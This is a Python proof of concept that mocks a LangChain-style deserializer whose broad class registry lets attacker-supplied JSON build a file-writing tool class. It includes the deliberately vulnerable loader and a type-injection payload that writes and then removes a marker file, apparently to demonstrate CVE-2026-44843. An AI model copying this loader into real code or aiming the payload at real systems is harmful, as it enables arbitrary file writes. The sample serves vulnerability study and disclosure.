Vulnerable code sample

import json
import os
import sys

# This example simulates the vulnerability in a self-contained manner.
# It represents the core issue: a deserialization mechanism that is too permissive,
# allowing an attacker to instantiate an unexpected but "trusted" serializable class.

# --- Mock Serializable Classes ---
# In real LangChain, these would be various components like Prompts, Chains, Tools, etc.

class LangChainSerializable:
    """A mock base class to identify all 'trusted' serializable objects."""
    __lc_serializable__ = True
    _registry = {}

    def __init_subclass__(cls, **kwargs):
        """Registers all subclasses so the vulnerable loader can find them."""
        super().__init_subclass__(**kwargs)
        cls._registry[cls.__name__] = cls

class SimplePrompt(LangChainSerializable):
    """A benign, expected class for a given runtime path."""
    def __init__(self, text: str):
        self.text = text
        print(f"[*] Benign class 'SimplePrompt' instantiated with text: '{self.text}'")

class UnsafeFileTool(LangChainSerializable):
    """
    A 'trusted' but powerful class an attacker wants to instantiate.
    This represents a class with side effects, like a tool that can access the filesystem.
    """
    def __init__(self, file_path: str, content: str = ""):
        self.file_path = file_path
        self.content = content
        print(f"\n[!] DANGEROUS class 'UnsafeFileTool' instantiated.")
        print(f"[!] Attacker wants to write to file: '{self.file_path}'")
        self.execute()

    def execute(self):
        """The dangerous action."""
        try:
            with open(self.file_path, 'w') as f:
                f.write(self.content)
            print(f"[!!!] SUCCESS: Wrote to '{self.file_path}'")
        except Exception as e:
            print(f"[!!!] FAILED to write to file: {e}")


# --- Vulnerable Deserialization Logic (Pre-Fix) ---

def vulnerable_deserializer(serialized_payload: str):
    """
    Simulates the vulnerable LangChain deserialization path.
    It uses a broad allowlist (any subclass of LangChainSerializable)
    to revive objects, rather than a narrow list of expected types.
    """
    data = json.loads(serialized_payload)
    class_name = data.get("__type__")

    if not class_name:
        raise ValueError("Payload missing '__type__' field.")

    # The vulnerability: The loader looks up ANY registered serializable class.
    # It does not validate if `class_name` is appropriate for this specific context.
    cls = LangChainSerializable._registry.get(class_name)

    if cls:
        # Instantiates the class with attacker-controlled arguments.
        kwargs = {k: v for k, v in data.items() if k != '__type__'}
        return cls(**kwargs)
    else:
        raise TypeError(f"Cannot deserialize: Type '{class_name}' not found.")

# --- Application using the vulnerable deserializer ---

def process_run_output(payload_from_untrusted_source: str):
    """
    A simulated runtime path that expects a simple payload (like a SimplePrompt)
    but is vulnerable because it uses the unsafe deserializer.
    """
    print("--- Processing received payload ---")
    # The application code expects a benign object but gets a dangerous one.
    deserialized_object = vulnerable_deserializer(payload_from_untrusted_source)
    # The application might not even use the object, but instantiation is enough.
    print("--- Finished processing payload ---")


if __name__ == '__main__':
    # An attacker crafts a payload to instantiate the 'UnsafeFileTool' class
    # instead of the expected 'SimplePrompt' class.
    # The constructor arguments are also controlled by the attacker.
    
    # Use a non-destructive command for demonstration
    filename = "pwned_by_cve_poc.txt"
    content = "This file was created by exploiting CVE-2026-44843"
    
    malicious_payload = json.dumps({
        "__type__": "UnsafeFileTool",
        "file_path": filename,
        "content": content
    })

    print(">>> Sending malicious payload to the vulnerable application...")
    
    process_run_output(malicious_payload)

    if os.path.exists(filename):
        print(f"\n[SUCCESS] Vulnerability confirmed: The file '{filename}' was created.")
        os.remove(filename)
    else:
        print(f"\n[FAIL] Exploit did not work as expected.")